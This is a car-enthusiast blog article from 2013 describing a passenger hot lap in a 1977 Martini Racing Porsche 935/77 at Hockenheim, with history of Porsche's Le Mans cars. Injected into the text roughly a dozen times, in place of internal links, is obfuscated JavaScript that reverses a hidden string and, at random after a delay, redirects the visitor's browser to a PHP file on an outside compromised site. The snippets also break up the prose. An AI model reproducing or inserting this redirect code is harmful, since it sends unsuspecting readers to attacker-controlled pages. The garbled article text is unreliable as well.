crankandpiston.com takes a hot lap in a 1977 Martini Racing $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche 935/77 at the Hockenheim Circuit after spending time with a Porsche 917, a Porsche 956/962, a Porsche 936 and a Porsche 911 GT1-98.
*ORIGINAL POST DATE: November 2013
This is one of those moments that comes around only once in a lifetime. It’s a slightly nippy morning in the Baden-Württemberg state of south Germany, the sun having just peaked its way over the Hockenheim Circuit grandstands. Currently on my left is a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/porsche-956962-a-photographic-history-little-known-facts/” target=”_blank”>Porsche 956 from 1982, arguably the finest Group C sportscar ever built. To my right a little further forward is the 24 Hours of Le Mans-winning $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/porsche-museum-stuttgart-walking-in-dreamland/” target=”_blank”>Porsche 936 from 1977, so immaculately well kept you’d think it’d just rolled off the assembly line. And just in front of that – parked on the banked left hand Sachs corner just before Hockenheim’s pit entry – is a Team Porsche Salzburg-liveried 917, the very first $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/le-mans/” target=”_blank”>24 Hours of Le Mans winner from Stuttgart and precursor for a further 15 over the following 28 years.
I am very literally surrounded by my childhood heroes. Like I say, this kind of opportunity happens only once a lifetime.
Said opportunity comes courtesy of the good people at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche who – as part of the run-up to the company’s much hyped return to Le Mans in 2014 – have kindly invited crankandpiston.com to spend time with Porsche’s iconic Le Mans contenders at Hockenheim before pulling on a helmet and taking a hot lap aboard the 935. Regrettably – if that’s even the word – said lap will be from the passenger seat since $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche is understandably a little hesitant to allow a mere journalist and his gorilla style driving habits behind the wheel of this rolling museum. I’m far from tears though since my chauffeur today will be Timo Bernhard, 2010 24 Hours of Le Mans winner, multi-time $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-nurburgring-24-hours-black-falcons-washout/” target=”_blank”>24 Hours of Nürburgring winner, and former Porsche Carrera Cup champion. If anybody is capable of taking the 935 by the scruff of the endplate and turning what’s left of my hair white, it is this likeable German.
Given the scrum of activity surrounding Timo, Porsche engineering extraordinaire $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/an-interview-with-norbert-singer-porsche/” target=”_blank”>Norbert Singer (with whom crankandpiston.com recently grabbed a quick chat) and illustrious representatives of the marque’s racing division – all of whom are temporarily indisposed with interviews and/or impromptu photoshoots – I’m gifted a few minutes to peruse my ride for this afternoon: a 1977 Martini Racing 935/77.
Based on the 930-generation $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/911/” target=”_blank”>Porsche 911 Turbo – and thus adhering to motor racing’s homologation regulations – the 935 really is exceptionally beautiful, the enormous rear wing as graceful as it is efficient, the fibre glass body panels and Plexiglas windows offering a sleek as well as lightweight vision. Already impressive downforce was bettered even more when the 935 made its debut thanks to a loophole in the World Championship for Makes, which allowed Porsche to remove the 930’s headlights and restyle the fenders. Sitting almost glued to the floor, shod in low profile 16-inch (front) and 19-inch (rear) Dunlops, and showcasing the famous Martini Racing livery, the 935/77 sent eyebrows skywards, (as did the famous 935/78 ‘Moby Dick’ longtail version that appeared in 1978).
Though restricted to a unit no larger than 2857cc, the turbocharged flat-six clamped down under the bodyshell was still at the time the most powerful engine ever installed in a 911, capable of spitting out up to 800bhp. So fast was the 935 that it even outsprinted Tyrrell’s now famous six-wheeled P34 Formula 1 car during 1976 pre-season testing at Paul Ricard. Performance was suitably eye-watering, the 935 sharing brakes and coil spring suspension with the Group 4 934 (another 930 Turbo conversion), and astounding all beholders by winning not only at Le Mans in 1979 but at Sebring, Daytona and the Nürburgring en-route. Only mid-season regulation changes to counter the Porsche’s performance advantage stopped the 935 dominating the 1976 World Championship of Makes.
As you’ve probably guessed, the 935 proved a worthy successor to Porsche’s prodigal 917 Le Mans winner which – ironically, given the stature it now holds – was far from a sought after model when it first appeared in 1969. Though technically a masterpiece, reliability issues meant the 917 was rarely able to take advantage of its potential. Indeed, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/richard-attwood-interview-1970-le-mans-winner-porsche-917/” target=”_blank”>1970 winner Richard Attwood – also in attendance at Hockenheim – confides in me $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/richard-attwood-interview-1970-le-mans-winner-porsche-917/” target=”_blank”>during a brief and incredibly memorable chat that had he been piloting Porsche’s established but outgoing 908 in 1969 as he had wanted to, Porsche would today be celebrating 17 victories at Le Mans, not 16.
“Vic [Elford, 1970 co-driver] nominated me to drive with him in ‘69 in a 917”, Richard explains. “I didn’t want to though as I was quite happy with the 908. I didn’t want to be a hero because I knew the 917 was no good.”
Story continues on page 2
*ORIGINAL POST DATE: November 2013
